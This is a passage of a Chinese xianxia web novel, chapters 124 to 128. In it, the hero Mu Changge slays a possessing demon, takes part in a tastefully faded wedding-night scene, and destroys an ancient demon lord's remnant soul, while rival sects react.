季清影转过身,感受到一股凌厉的劲风掠过身侧。 砰! 一声闷响。 慕长歌看似轻飘飘的一掌,打得周严倒飞了数十丈,落地后再无反应。 周天雄见状,身形如电,衣袍翻飞间已闪身来到周严身旁。 他双膝砸在青石地面上,震起一圈尘埃,浑不觉痛。 “严儿!” 他将手掌放在周严鼻前,感受不到丝毫气息,又猛地扯开儿子衣襟,手掌贴在胸口,没有任何的心跳。 周天雄的手指不受控制地颤抖,一声怒吼响彻广场,“慕!长!歌!还我儿子命来!” 他双目赤红,周身灵力暴涌,化作一道残影扑了过去,可在半途就被一道屏障硬生生截住。 周天雄的灵力,轰击在屏障之上,自身反被震得连退三步。 “季飞鹰!” 看到出手之人,在他面前负手而立,周天雄目眦欲裂,“此子当众杀人,你身为城主,想要护短不成?” “你儿欲行不轨,为我贤婿所阻,死有余辜。” 他轻飘飘地伸了伸手,“此事在场诸位皆可见证。” “你!” 周天雄气的浑身发抖。 他转向了观礼台,上面有位身着长袍的合欢宗长老,“还请玉蟾仙师为我周家,为这刚拜入宗门的孩子讨个公道!” 那位唤作玉蟾的长老缓缓起身,他轻抚长须,声音轻柔,“季城主,杀人偿命,天经地义。” 玉蟾一甩拂尘,飘然而起,欲以仙人之姿降临场中。 忽见慕长歌勾起一抹若有似无的笑意,他眉头先是轻微地皱了皱,然后.... 啪! 众人只见这位合欢宗长老,莫名自空中跌落,以极其不雅的姿势,呈大字型摔趴在青石地面。 那柄拂尘脱手而出,不偏不倚地插在他的臀部。 众人感到错愕的同时,想笑不敢笑,合欢宗在这一带,终究是最大势力,不可得罪。 玉蟾长老面红耳赤地爬了起来,掸着衣袍上的灰尘,话锋陡然一转,“但、周严是否死在这位慕小友手里尚待查证。” “仙师,你这!” 周天雄颇为傻眼,刚才那副架势,显然是要过来帮他主持公道,怎么眨眼间就变了味儿? “住口!” 玉蟾轻甩拂尘,捋了下胡须,“我辈修士,岂可仗势欺人,何况周严此前行为略有反常,值得探究。” 他暗自瞥了眼慕长歌,表面淡然,实则内心早已掀起惊涛骇浪。 以他出窍巅峰的修为,绝不会无故地摔下来,那就只有一个可能,这个年轻人.... 他似乎惹不起! 又或者这暗地里,定有高人守护! 第124章 公子抱得美人归,洞房宣言震全城 “还要装下去么?” 慕长歌瞥向周严,见他毫无反应,抬起了右手。 掌心泛起莹莹灵光,一缕缕黑气从周严七窍中被强行抽出,在半空中凝聚出一个模糊的人影。 “桀桀桀!” 那人发出刺耳的笑声,“慕长歌,你果然有点本事,本座本想看你们自相残杀,坐收渔翁之利,没想到失策了。” 他那嗓音阴冷刺骨,听得在场众人毛骨悚然,以及无比骇然。 谁都没想到,周严体内竟然藏了这个魔物。 “是你!” 玉蟾瞳孔微缩,“天魔门幽魂分舵主,噬心老魔!” 他急忙转向慕长歌,满脸凝重。 “小友当心,此魔修为深不可测,已然如入了化神!” 说话间,他额头已渗出细密汗珠,手中拂尘不自觉地颤抖,对方只凭那股魔气威压,就让他喘息困难。 倘若交起手来,他甚至没把握走过三招。 “看到了?这才是杀你儿子的真凶。” 慕长歌神色淡然,目光转向呆立原地的周天雄,“他不仅杀了你儿子,连同他的神魂一并抹除。” “魔头,还我儿命来!” 周天雄浑身衣袍无风自动,手中灵光闪烁,握住一柄九环金背大刀,刀身嗡鸣作响,迸发出刺目寒光。 就在他即将冲出的刹那,陡然止步。 在众人惊诧的目光中,这位向来高傲的周家家主,砰的一声单膝跪地,九环大刀深深插入青石地面。 “慕道友!” 他拱手抱拳,额头青筋暴起,“周某愿以周家千年基业起誓,只要道友助我诛杀此魔,日后周家上下愿为道友驱使,绝无二话!” 说罢,竟咚地一声以头抢地,重重地磕了一个,连同季飞鹰看得错愕不已。 这个周天雄可从来不把他放在眼里,如今在他女婿这儿,还不是乖乖地低头? 若不是大敌当前,他都忍不住要大笑了。 要说这周天雄反应也是极快,方才他若头脑一热就冲上去,眼下恐怕就是具干尸了。 化神期的大魔头,可不是他这个小小的元婴修士能对付的,就是合欢宗的那位玉蟾仙师也不行。 他只是见玉蟾对慕长歌的态度极为客气,这才想着低头赌上一把。 毕竟自身性命没了,那就什么都没了,只要还活着,儿子还会有,周家传承仍会继续。 “你是舵主?” 慕长歌并未理会周天雄,而是看向噬心老魔,“也好,既然来了,省得我去找你。” 他看了眼玉蟾,“小蛤蟆,带他们退后。” “???” 这小子在叫谁小蛤蟆? 玉蟾一张老脸涨得通红,他活了三百余载,还是头一回被人唤作小蛤蟆,要不是没把握,非得拿拂尘狠狠抽这小子一顿。 季飞鹰出于信任,跟随众人一并退后,唯独季清影咬着樱唇。 她目露担忧,仍见慕长歌直视着噬心老魔,只好松开他的衣袖,一步三回头地退到父亲身旁。 “桀桀桀!” 噬心老魔笑声愈发刺耳,“好个狂妄的小子,本座倒要看看,你的本事可如口气这般大!” 他绝不会大意,修为仅在他之下的血云老魔,就是死在慕长歌手里,接连失利,让他气愤不已,为此不惜亲自出手。 这一次,他一定带走季清影,先取出她体内的魔气本源,再将此女炼制成血丹,贡献给魔尊大人。 噬心老魔周身黑气骤然暴涨,化作遮天蔽日的魔云。 魔云中浮现出无数鬼面,发出凄厉哀嚎。 随着老魔一声厉喝,魔云中伸展出数不清的漆黑锁链,每一道锁链顶端,都缠绕着一颗鬼面。 恐怖威压让方圆百里的草木剧烈摇晃,连同丹塔的防护大阵,开始剧烈震颤。 “哈哈哈,吓傻了吧小子!” 噬心老魔见慕长歌站在原地纹丝不动,得意大笑,“本座这招就是法相境修士,也要避其锋芒!” 他那笑声并未持续多久,戛然而止。 万魔锁链即将触碰到慕长歌的刹那,一柄通体血红的古朴长剑,在他眼中快速穿梭。 剑身绽放无数玄奥符文,他那来势汹汹的魔气锁链,被剑身尽数吞噬。 “嗝~” 噬心老魔似乎听到那把剑打了个饱嗝,惬意地晃了晃。 玉蟾手里的拂尘掉落在地,双眼滚大,眼球近乎脱落。 魔剑! 这小子竟然能够驾驭魔剑! 噬心老魔面容扭曲,“慕长歌,将我天魔门的圣物还回来!” “想要?自己来拿。” 他打了个哈欠,好似眼前的对手,只是个嗡嗡叫的苍蝇。 噬心老魔暴怒至极,周身魔气翻涌如沸。 “万魂噬心!” “九幽魔焰!” “血煞夺魄!” 广场上,众人目瞪口呆地看着眼前这荒诞的一幕。 他们瞳孔中倒映着,噬心老魔满脸狰狞掐诀念咒,一道道足以移山倒海的恐怖魔功就此呼啸。 漆黑魔焰将半边天空渲染成了墨色,刺耳的鬼哭狼嚎声,震得地面颤抖。 而另一边.... 慕长歌悠哉地躺在一张云床上,手里晃着一壶灵酒。 每当有魔功来袭,血煞剑就欢快地飞过去一口吞下,甚至兴奋地抖两下。 慕长歌抿了口酒,向着噬心老魔扬了扬酒壶,“这酒不错,要不要来点?” 噗! 噬心老魔喷出一口老血,他何曾受过这等羞辱。 更气人的是,血煞剑吞噬完过后,在他眼前贱兮兮地晃了晃,剑身发出嗡鸣。 似乎在说。 那啥,没吃饱,再来点! 崩! 崩崩崩! 噬心老魔额头上的青筋,一根根冒起,眼中燃烧着熊熊烈火,瞳孔深处呈现着慕长歌空无一切的态度。 “你竟敢如此羞辱本座!” 他浑身魔气内敛,周身现出诡异的血色纹路,嗓音沙哑到似是与砂纸摩擦。 “万魔解体大法!” 众人闻言无不色变,就连玉蟾长老都慌忙祭出护身法宝。 这可是天魔门同归于尽所使的歹毒法门,一旦施展,方圆百里恐将化为魔域。 然而。 就在噬心老魔气势攀升到顶点时,他一个急转,化作一道血光向反方向射去。 慕长歌指尖轻点虚空,“锁!” 虚空中浮现六面金色光幕,每一面上皆是流转着玄奥的符文,如同六块巨大的金色玻璃,将噬心老魔困在其中。 很快,他又被阵法内的锁链,束缚住了四肢。 “放我出去!” 噬心老魔疯狂挣扎,四肢上的锁链反倒越收越紧,“你这是什么鬼阵法!” “天地囚笼,专锁你这种不听话的小魔头。” 他慢悠悠站起身,掸了掸衣袖上并不存在的灰尘,看了眼悬浮在侧的血煞剑,打了个响指。 血煞剑接受到讯号,剑身红芒大盛,冲向了噬心老魔。 众人只见剑尖向下,丝丝缕缕的魔气本源以及魔血,逐步被这把魔剑所吞噬。 季清影眼中倒映着慕长歌向她走来的画面,让她心跳如鼓。 “公子...这是做甚?” 她整个人被抱起,神态中遍布娇羞之色。 “回去洞房!” 慕长歌声音未落,已然化作天际的流光。 第125章 红烛摇曳映嫁衣,今夜奉献给慕郎 咻! 血煞剑化作一道赤红流光,意犹未尽地在空中盘旋两圈,这才恋恋不舍地追随主人离去。 原地只留几缕尚未散尽,几乎微弱不可察的魔气,证明这里困住过一位化神魔头。 咕咚! 周天雄艰难地咽了口唾沫。 这就完了? 他可是做好了拼死一战的准备,连遗属都在心里打好了草稿。 但这赢得未免太荒诞了点? “周老弟,现在你可明白,本城主为何要选这女婿了?” 季飞鹰那表情里,带着说不出口的嘚瑟,且重重地拍了几下周天雄的肩膀。 有这女婿在,莫说一个周家,就是合欢宗加在一起,也不敢在他面前嚣张。 拼背景? 就跟谁没有似的,就问你合欢宗,北域第一修仙门派碧霄宫,怕不怕? 玉蟾长老脸上堆满讪笑,连声音都柔了八度,“小季啊...啊不...季城主,敢问您这乘龙快婿从何而来啊?” 这看似仙风道骨的老道,哪还有半点合欢宗长老的傲气。 季飞鹰负手望天,长叹了声,“自然是御剑乘风来,逍遥天地间。” 望着玉蟾抽搐的眼角,他哈哈大笑,转身拍了拍周天雄的肩膀。 “周老弟,眼下正是剿灭魔门余孽的大好时机,就劳烦你带人前往,本城主尚有要事。” 说着冲城主府挤了挤眼,“你也听到了,贤婿的洞房最要紧,我可要交代我们家那丫头,小心伺候着才是。” 季飞鹰走出两步又突然回头,“对了,记得先给令郎收尸,唉,真是可惜了,年纪轻轻的....啧啧....” 他摇头叹息,“虽然我没有儿子,似乎女儿更划算,我怎么就找了个这么好的女婿呢,唉,老天垂怜啊。” 望着季飞鹰大笑着御空而去,周天雄终于绷不住了。 “季飞鹰!你是真的狗!” 他妈的,畜生啊! 周天雄气的差点咬碎了后糟牙。 “唉,嫉妒果然令人面目全非。” 陈长老捋着白须摇头叹息,感慨地摊开手,“其实我们家慕少爷,也没什么了不起的。” “不就是随随便便得到了丹塔认可?” “不就是徒手搓出地阶丹药?” “不就是不费吹灰之力斩了化神魔头?” “不就是年纪轻轻就...唉,算了,不说了...我们天风城的风气向来低调。” 他字字句句像是淬了毒的箭,狠狠插在周天雄的心窝。 又见他拍了拍周天雄的肩膀,“周家主,还是尽快完成城主交给你的任务为好,顺带给你儿子报仇。” “若有可能的话,下一胎争取生个女儿就是,尽管钓不到我们家慕少爷这样的金龟婿,万一能捡个银的呢?” 陈长老笑意和善,“实在不行那就送去合欢宗,玉蟾长老的门派最是喜爱女弟子,定然前途坦荡!” 他带着一众丹塔修士扬长而去,白皙飘飘的背影,说不出的潇洒。 周天雄铁拳紧握,身子发颤,而那玉蟾长老也已消失不见。 曾几何时,他仗着合欢宗撑腰,在这天风城横行无忌。 丹塔长老? 不过是一群只会炼丹的老顽固。 季飞鹰? 不过是个怕老婆的废物。 如今.... 咔嚓! 他脚下的青石砖,裂开蛛网般的纹路,浑身灵力不受控制地外泄,将周围十丈内的地面,震得寸寸龟裂。 “天魔门!” 周天雄仰天低吼,“老子要把你们这些杂碎赶尽杀绝!” 九还金背大刀应声出鞘,在空中划出一道凌厉的弧光,带着周家以及城中修士冲向了城外。 天风城外,血光冲天。 周天雄率领众修士与天魔门余孽厮杀正酣,刀光剑影间血肉横飞。 此处分舵的高端战力,几乎尽数毁于慕长歌一人之手,余下的那些面临天风城的反扑,颓败之势尽显。 与此相比,城主府内却是一片祥和,清幽阁前红烛高照,张灯结彩,尽是喜庆。 月光如水。 季飞鹰望着紧闭的房门,轻声道,“夫人,你说这小子当真只是碧霄宫圣子?” 他微皱眉头,“说他不是,这一身修为令人看不透,出手之间尽显不凡,不仅精通了丹道,就是阵道也那么的匪夷所思。” “若说是,他这般年纪轻轻,即便是宗门全力培养的绝世之才,可也不应该成长到此等地步,宗门更不会放任这样的天才离开。” 季飞鹰叹了口气,“为夫实在是看不透啊,不知夫人可否有些想法,能为我解惑一二?” 慕长歌的剑道,他连提都没有提。 连天魔门都奉为圣物的凶器,在他手中温顺如家犬。 “管他什么来历,总归是我们女婿,只不过...” 柳如烟看着房门,狡黠地眨了眨眼,“如你所说,他即便不是圣子,其在宗门内的身份,只会更高一层。” 她话锋微转,似笑非笑,“说不定,在他眼里,你才是小子,而他...是为前辈!” 话音落下时,柳如烟的美目,转变得无比肃穆。 她觉得自己这个猜测,已然八九不离十,也只有这样的身份,才能随意进出宗门。 闻言,季飞鹰苦笑。 果真如夫人猜测那般,他岂不是真要喊上一声前辈? “何须自扰?” 她抚平季飞鹰紧皱的眉头,“只要他能通过这次洞房,救我们女儿的命就好。” 季飞鹰点了点头,那上古丹魂中,毕竟镇压着魔魂,慕长歌能否搞得定,谁也没这个把握。 自家女儿的性命,全然掌握在他手里。 “爹,娘!” 季清晚跟着他们悄悄来到了院子,好奇道,“到底什么是洞房啊,具体要做些什么?” “……” 季飞鹰被自己的口水呛到,老脸涨得通红。 柳如烟含笑道,“娘不是已经教过你许多,洞房之所以为洞房,就是一个出房,一个...” “可这都是咱们家出的啊?” 季清晚嘟着小嘴,抢先接话,“百听不如一观,我这就去瞧...哎...爹娘,你们别扯我耳朵啊....” 她被两人一左一右扯着耳朵离开了庭院,临走前那双目光,极为不舍地盯着紧闭的房门。 大哥哥到底是属于她姐姐的了.... 室内。 红烛摇曳,映照着季清影娇艳欲滴的容颜。 她端坐床沿,纤纤玉指绞着大红嫁衣的衣带,眼波流转间尽是欲说还休的媚态。 “夫君可还要...酝酿?” 她羞怯地看了眼慕长歌,又带着撩人的尾音。 慕长歌神色认真,“季姑娘,你真的想好了?即便不用这样的方式,我应当也能为你压制那魔魂几十年。” “值此时刻,夫君竟还要叫我姑娘?” 她蓦然起身,嫁衣如火,与慕长歌相对而立。 烛光在她眸中跳动,映照出几分倔强,“我不要做姑娘,我要做夫君的道侣...” 纤手抚上心口,她声音渐柔,“即便无关那魔魂,无关先祖丹魂传承,清影此心,一并不是。” 她指尖划过慕长歌的掌心,转而轻勾大红嫁衣腰间的丝带。 那抹嫣红如流水般从肩头滑落,烛光为她如玉的肌肤,镀上了一层蜜色。 “夫君可还满意?” 她玉足赤点地面,勾着慕长歌衣领向后退去,白玉般的足尖点在红绸床单,留下浅浅的凹陷。 慕长歌顺势俯身,单手撑在了身侧。 床幔无风自动,层层垂落。 忽有夜风拂过,吹得红烛摇曳,隐约在窗纸上,映照出两道剪影。 第126章 季家先祖女儿身,焚天炼魔留隐患 灵光笼罩,气息交融,两人再也不分彼此,心神相连。 嗡! 某一刻。 季清影轻咬薄唇,闷哼一声,再度睁开眼看向慕长歌时,闪过一丝无比魅惑的眼神。 “夫君~” 她轻咬着粉唇,额头香汗淋漓,“帮帮我,影儿不太舒服~” 慕长歌眉头一皱,看到她眉心浮现出一道妖异的血色纹路,紧跟着神识一沉,眼前景象骤然变幻。 那是一片混沌的虚无空间,四周漂浮着粘稠的黑雾。 无数黑雾如毒蛇般在他周身游走,发出令人毛骨悚然的嘶嘶声。 “桀桀桀...” 黑雾中传来阴冷的笑声,忽远忽近,“小子,莫要多管闲事,否则本尊定取你性命!” “你便是那上古魔魂!” 慕长歌衣袍无风自动,“区区一缕残魂,也敢在我面前放肆,我倒要看看你的底气到底从何而来!” 他指尖凝聚出一缕金光,在虚空划出一道玄奥符文,符文飞出去的瞬间骤然扩大,化作一面流光溢彩的镜面。 镜中景象如水波般荡漾,渐渐显现出三千年前的画面。 漫天血云之下,一位与季清影有七分相似的女子凌空而立,周身环绕着九朵青色丹火。 她对面,正是此刻被困在季清影体内的魔尊残魂,只是那时的它魔威滔天,举手投足间山崩地裂。 “季家先祖竟然是个女人?” 慕长歌微微错愕,有没有搞错。 既然是个女人,为何叫做季无尘? 额.... 好像也能是个女人的名字,寓意不染尘埃,未尝不是因为这个名字,落轻舞才会赐她些许传承。 慕长歌转而又看到画面中,那女子咬破舌尖,一口精血喷在了丹炉上。 魔尊最终被打到身躯破碎,季无尘也没好到哪里,状态无比虚弱。 “以我神魂为引,炼你千年万载!” 画面中,季无尘双手结印,九朵青色丹火骤然合一,化作一只振翅欲飞的凤凰虚影。 她周身灵力疯狂涌动,衣袍猎猎作响,嘴角不断溢出鲜血。 “焚天炼魔!” 随着她一声清喝,那只凤凰虚影裹胁着滔天烈焰,将魔尊残破的躯体卷入丹炉。 炉身剧烈震颤,表面浮现出无数裂纹,似乎随时会炸裂。 魔尊发出凄厉咆哮,在即将被完全封印的刹那,分裂出一缕黑气,趁着季无尘神魂虚弱,钻入了她的眉心。 噗! 季无尘喷出一口鲜血,身形摇摇欲坠,她低头看着自己逐渐透明的双手,惨然一笑,“终究...还是着了道...” 她艰难的掐诀,周身灵力化作无数金色符文,将自己的神魂凝聚成一枚晶莹剔透的灵珠。 “季家后人....持此珠者....当以神魂为引....” 她声音越来越弱,“世代镇压...魔魂!” 画面戛然而止,镜面轰然破碎。 慕长歌一脸凝重,并不单单为季家先祖这个举动,而是三千年前那个局面。 天魔门为患四方,强者数不胜数,血煞魔尊只是其中一位大能。 他深吸一口气,又见点点星光,凝聚成丝线飞向他的眉心,慕长歌未抵挡,他察觉到这股气息并无恶意。 嗯? 阴柔之气? 莫非是季家先祖的意识。 随着那意识进入眉心,他脑海中涌入大量记忆碎片。 他看到三千年前那一战,远比想象中惨烈,北域天魔门十二魔尊肆虐人间,血煞魔尊不过是其中最弱的一个。 没有人知道这些魔尊是怎么来的,甚至如同凭空出现的那般,直到他们现身,众人才有所察觉。 咔嚓! 慕长歌突然就握紧了拳头。 他看到记忆中的画面,那时碧霄宫有三十六峰,各峰首座联手布下九转乾坤星斗大阵,将七位魔尊困在阵中。 漫天星辉化作锁链,仍被那些魔尊撕得粉碎。 慕长歌心头一震,难怪作为北域第一宗门的碧霄宫,实力底蕴大不如前。 仅是那一战,自爆的渡劫期大能就有九位,其他陨落的强者更是数不胜数。 即便这般也只是打退了他们,并未将他们彻底打残,之后的碧霄宫依旧与天魔门残余势力持续对峙。 一直到了云清璃这位第三十一代圣主飞升前的百年,又一次给予了天魔门重创。 “桀桀桀,小子,可知道怕了?” 眼前飘浮的黑雾中,传来血煞魔尊阴冷的笑声,“你所见的不过是我们实力中的冰山一角。” 黑雾剧烈翻腾,渐渐凝聚成一个模糊的人形,那人形通体漆黑,唯有眉心处镶嵌着一枚血色晶石,散发着令人窒息的威压。 “本尊乃先天孕育而出的魔尊,远非那些依靠自身苦修而至的魔尊可比。” 他又傲然道,“我们诞生的使命只为杀一个人,却不知那个人是谁,只要杀光所有人,乃至同化成魔,依旧算作完成了使命。” 这一刻,慕长歌心头产生了一丝悸动。 难怪上古那些魔尊看上去个个实力强横,竟然还有先天后天之分。 碧霄宫的秘籍中尚且不曾记录过这样的事,有极大的可能,便是当年那些大能,亦是不知其中隐秘。 “可知本尊为何与你说这些?” 血煞魔尊一声嗤笑,“因为你很快就死了,你这具身体,很符合本尊复生之用,吞噬了你,本尊就能复活!” “桀桀桀...” 他的笑声在虚空中回荡,“本尊倒是要感谢你,是你激活了季无尘的丹魂,让她对本尊再无压制之力!” 黑雾骤然收缩,化作一柄血色长矛,直指慕长歌眉心,“看在这份上,本尊赏你个痛快的死法!” “错!不是我死!” 他右手虚握,血煞剑出现在掌心,剑身震颤发出兴奋的嗡鸣。 剑锋绽放刺目血光,将整片空间映照得如同血海。 他衣袍猎猎作响,一字一顿,“碧霄宫第三十一代弟子慕长歌,于此秉承诸位先师之志....” “斩!魔!证!道!” 血煞剑爆发出惊天剑意,剑身上古老符文次第亮起。 “你是碧霄宫弟子?!” 血煞魔尊声音陡然拔高,“很好!很好!” 那模糊的人形突然凝实,化为一个身披血色战甲的狰狞魔影。 他仰天狂笑,笑声中充斥着刻骨恨意。 “当年若非你们碧霄宫带头负隅顽抗,我等十二魔尊早已血洗北域!今日杀你,也算一雪前耻!” 血煞魔尊双掌一合,无数血色符文在虚空凝实,漫天血刃呼啸。 慕长歌剑锋一转,九道剑光交织成网,将血刃尽数绞碎。 余波散去,两人身影早已消失原地,速度快到难以捕捉到踪迹,只有半空中,从不同方位,时不时传来剧烈交锋的声音。 又是一记猛烈的碰撞,两人皆是停下动作,矗立虚空之中,互相注视着对方。 慕长歌握住血煞剑有些颤抖,并非来自惧怕,而是这把剑的兴奋,远超任何时候。 这先天魔尊果然远非阴无涯可比,即便只剩一缕残魂,实力依旧不容小觑。 可到底什么是先天魔尊,又是什么将他们孕育而成? 难道是自他们诞生之日起,就拥有渡劫期的修为,如此就比较可怕了,什么人能做到这样的事? “你很强。” 慕长歌神色凝重了几分,再度开口,“但也不过如此。” “怎么会...” 血煞魔尊血色战甲下的魔躯微颤,在此与他争斗的只是这小子的神魂,可就是神魂,居然这般强横。 最可怕的是,他似乎感受到慕长歌神魂深处,蛰伏着极为恐怖的存在,那种感觉犹如他们的缔造者一般。 第127章 谪仙觉醒斩魔尊,九剑齐出破苍穹 “不可能!” 他可是上古先天魔尊,就算只有一丝残魂之力,也非寻常修士可比,若非如此季无尘那女人,又何必将他镇压了那么多年! 区区一个蝼蚁修士,为何会让他生出心悸之感! 血煞魔尊那战甲上纹路忽明忽暗,似是紊乱的心跳,他握紧拳头盯着慕长歌,眼中的轻蔑早已被惊骇取代。 慕长歌轻飘飘抬眼,随着他身形愈发升高,手中的血煞剑妖异红芒更盛,此刻的他所矗立虚空之位,比血煞魔尊高出了一丈。 血煞魔尊抬眼看着他,那股来自残魂深处的悸动之感,却是愈发强烈,又见慕长歌缓缓开口,眼中精芒迸射。 “我本谪仙入凡尘,心向灵虚不染尘,阅尽人间千般苦,始知真趣在天真。” 他那声音在虚空回荡,每一个字似是与心神共鸣。 “我曾浑浑噩噩度春秋。” “我曾懵懂无知醉红尘。” “亦曾放弃希望坠轮回。” 伴随着他那话音持续落下,慕长歌手中的血煞剑剧烈震颤,剑身上那些符文一个个亮起,绽放出刺目光芒, 整片空间开始扭曲,似乎难以承受这股力量。 “然——” 他眼中神光暴涨,周身气势骤然攀升到了极致。 “自小璃儿飞升那日起。” “我便已觉醒真我!” “今日,就以你这先天魔尊之血,证我大道重归!” 随着最后一个字落下,血煞剑脱手而出,一分为九,化作一道道贯穿空间的血色长虹。 时间、空间、生死、阴阳.... 剑身上缠绕着不同的剑道法则之力。 九剑齐出,摧枯拉朽! 血煞魔尊似是被定格在了原地,难以动弹,只能眼睁睁看着那九剑在他瞳孔中交相辉映。 “不——” 血煞魔尊发出最后一声凄厉嘶吼,血色战甲在九道剑光下寸寸碎裂,随即身躯轰然炸裂。 漫天黑雾被血煞剑贪婪地吞噬,剑身上的符文,一个个亮到极致,发出欢快的嗡鸣。 整柄剑逐渐蜕变,剑身透明如血玉,剑锋处流转着摄人心魄的寒芒。 “天级灵兵!” 血煞剑吞噬了血煞魔尊,等级已然恢复到过往品阶。 慕长歌指尖轻抚剑身,剑身传来一阵愉悦的震颤,同时将吞噬得来的信息传递给他。 “原来如此....” 他眉头紧皱,竟是没想到,曾差点掀翻了北域的十二先天魔尊,诞生于一座神秘的魔巢。 那魔巢中似是拥有某种禁忌之力,只要这些先天魔尊走出去,就会忘记魔巢所在位置。 且那魔巢中是否还在孕育着新的先天魔尊尚未可知,而天魔门的诞生,则是依托于这个魔巢。 魔巢不灭,天魔门不灭,他必须要找到这个魔巢,将其摧毁。 慕长歌深吸一口气,握住剑柄的手有些轻微的颤抖。 只因他从血煞魔尊残存的意识中感知到,这魔巢并非只存在于下界,貌似上界依旧存在于魔巢。 这就意味着上界并不太平,小璃儿飞升不久,遇上那些魔物,未必能够应付。 良久,慕长歌才平复了心绪。 还是要尽快了断下界因果,早日飞升上界。 他暂时想不到,谁有那么大能力,创造了这种魔巢,但隐约有种预感,这魔巢兴许就是为了灭杀他而存在。 但他相信,只要走遍东西南北四域,迟早能够找到魔巢的踪迹,他还相信,剿灭了那些魔物,那魔巢必定有所感应。 天风城上空。 突然炸开一道血色光柱,将整片夜空染成妖异的赤红。 城中修士纷纷抬头,只见九道血色流星划破长空,在云端交织成诡异的魔纹。 “这、这是什么??” 城中修士感受到这等异象,无不惊骇莫名。 就是城府内身穿里衣的季飞鹰,与只着轻纱凸显着雪白肩膀的柳如烟,也立即停下跟自家夫君,探讨人生大事的准备。 两人一道闪身,来到了院子里,凝视着外面的天象。 “夫人可曾见过这等天象?” 季飞鹰一脸凝重。 身侧佳人肃穆地点头,“应当是三千前才出过的异象,影儿她...应该得救了。” 季飞鹰不再开口,只是看了眼清幽阁,那里并没有任何动静,他却明白,今夜的动静跟慕长歌脱不开干系。 这一刻,他们夫妻二人也愈发确定....那小子在辈分上,定是他们的前辈。 可那又怎样,他季飞鹰如今才是长辈。 想到这,这位城主忍不住的畅快大笑,柳如烟得知他的想法,娇嗔的翻了个白眼,又在他腰间轻轻拧了一把。 哪料,紧跟着就是一声惊呼,她整个人被横抱入怀,季飞鹰闪身入房的同时,房门砰的一声关闭,还设置下了结界。 而后...似有什么断断续续交谈的声音,若有若无的,就听不清了。 再接着....已是省略了十万字的描述。 极北之地。 天魔门禁地深处。 咔嚓! 阴无涯面前的血色晶石轰然炸裂,碎片四溅。 “血煞...死了?” 阴无涯错愕了片刻,他那枯瘦的手指,深深掐入掌心,猛地一掌拍碎面前石案,眼中血丝密布。 他费劲周章,才找寻到血煞魔尊的残魂,本打算通过吸收他的本源之力,将自己转化为真正的先天魔尊。 奈何这次的计划,又一次以失败告终。 “慕!长!歌!” 阴无涯脑海中浮现出那张总是带着慵懒笑意的面孔,周身魔气翻涌,低沉的嗓音如同九幽寒冰。 “有你没我,有我没你,本尊誓要杀你!” 虽说不知天风城那边具体发生了什么,但只凭那些蝼蚁,绝不可能抵挡他的魔门弟子。 唯一的可能,就是有碧霄宫的插手,可天风城不属于碧霞宫的庇佑范围,那合欢宗又向来明哲保身。 可要是慕长歌离开了宗门,又同样是为了这上古丹魂而来呢? 阴无涯为了验证自己的猜测,立即沉浸心神,以秘术施展魔气感应,发生在天风城广场上的一幕幕,逐一在他脑海闪过。 “果然是你!” 他陡然睁开双眼,眼中闪过一丝阴狠,转而深吸一口气。 血煞本源虽灭,但其他上古魔尊的本源定有残留,只要找到... 他指尖凝聚出一缕漆黑魔气,轻轻一弹,“去!” 那缕魔气化作一只漆黑乌鸦,振翅飞出禁地。 与此同时。 碧霄宫。 圣主叶灵曦,破天峰首座水月,以及其他各峰首座,内外门中一众长老,都在抬头看着夜空中的异象。 “师妹,你说这番动静,可是源自于他?” 叶灵曦轻启朱唇,眸光看似平静,内心却波涛汹涌,她本是在闭关参悟慕长歌留给她的大道感悟。 可上古魔尊陨落的异象惊动了她,不仅是她,水月来到殿前,也正因如此。 水月看着那即将消散的异象,红唇挑起一抹弧度,“师兄总是能做到常人所不及,就是不知这上古魔尊是当年十二人中的哪一个。” 十二魔尊的存在,对于现如今的他们来说,仅仅相当于个传说。 毕竟三千前的事,已算作久远。 叶灵曦美眸微凝。 实力! 还是实力! 只有提升自身实力,才有资格跟他并肩作战。 连她原本都只当宗门中闲散长老的慕长歌,不再隐藏过后,才得知他令人多么的遥不可及。 叶灵曦忍不住苦笑,在她不动用秘术的前提下,以自身洞虚境的修为,也未必是慕长歌的对手。 “师妹,你的修为!” 她察觉到了水月的异常。 第128章 丹魂传承双修果,修为暴涨破瓶颈 慕长歌离去这才没几日,她这师妹的修为居然又有精进,尽管只是从法相三阶,提升到三阶巅峰之境。 可修为到了此般地步,一个小境界的提升,就需耗费数年光阴,似是这般进度,足以令她惊骇。 水月红唇扬起,轻抚鬓角发丝,也不做隐瞒,“临走之前,他为我留了些特殊的修炼心得。” 她扭过头,风吹拂起裙摆,两条修长美腿在月光下散发着迷人光泽,又见她凑近叶灵曦耳朵。 “其实也没什么,就是....” 水月轻吐香气,故意停顿勾起叶灵曦的馋虫,缓缓说道,“就是留了些日月精华供我炼化,咯咯咯....” 而后,她整个人化作一道红色流光,消失在月光下。 呸! 水月师妹真是越来越放浪了,这跟她以前认识的那个水月,真的不大一样。 难道师兄那项能力,当真如此神奇? 叶灵曦俏脸微红,很是后悔没早点向慕长歌下手,更悔恨不已,没早些看出他故作废柴的伪装。 哼! 反正师兄看了她的身子,也收下了那枚代表定情信物的玉佩,同样就是她的道侣。 等他回来,看自己怎么收拾他。 甚至,叶灵曦想到了那个画面,只要慕长歌回来,就第一时间带她去自己的闺房。 并以全部修为布置一道任何人无法打开的结界,至于何时再出关,快则一个月,慢则看心情,更要看某人的具体表现。 反正不让她满意,就休想走出去。 哪有这般厚此薄彼的,好东西都给了水月,她只得了点皮毛,比如那个什么,至少...分她一些嘛... 自己不就是想把圣主之位给他么,犯得上为此逃出碧霄宫? 即便决意离去,为何不在走之前见她一面,反而只见了水月。 叶灵曦越想越气,越想越愤愤不平。 “方长!” 随着她一声轻喝,方长立即现出身形,行礼道,“弟子在!” 他偷瞄着叶灵曦娇俏的身影,心中不禁在想,圣主收了白熙苒为徒,而后又让他时刻跟在身边。 说明了圣主对他的信任和培养,收白熙苒为徒,是给他的激励,还有留影石记录他不着寸缕的画面。 同样是为了等到他继承圣主之位后,再去下令毁掉。 白熙苒终究是他的踏脚石。 另外他还听说圣主传了白熙苒一门秘术,此次叫他出来,肯定是传给他更为厉害的秘术,让那白熙苒真正充当他的磨刀石。 “掌嘴。” 叶灵曦淡淡地开口。 啥? 方长笑意戛然而止。 这次又是为何? 叶灵曦转过身,“莫多想,本座就是想听个响儿,你若不愿...” 啪! 啪啪啪! 叶灵曦尚未说完,方长直接挥手抽了起来。 “弟子明白圣主良苦用心,您这是在磨炼弟子的心性。” 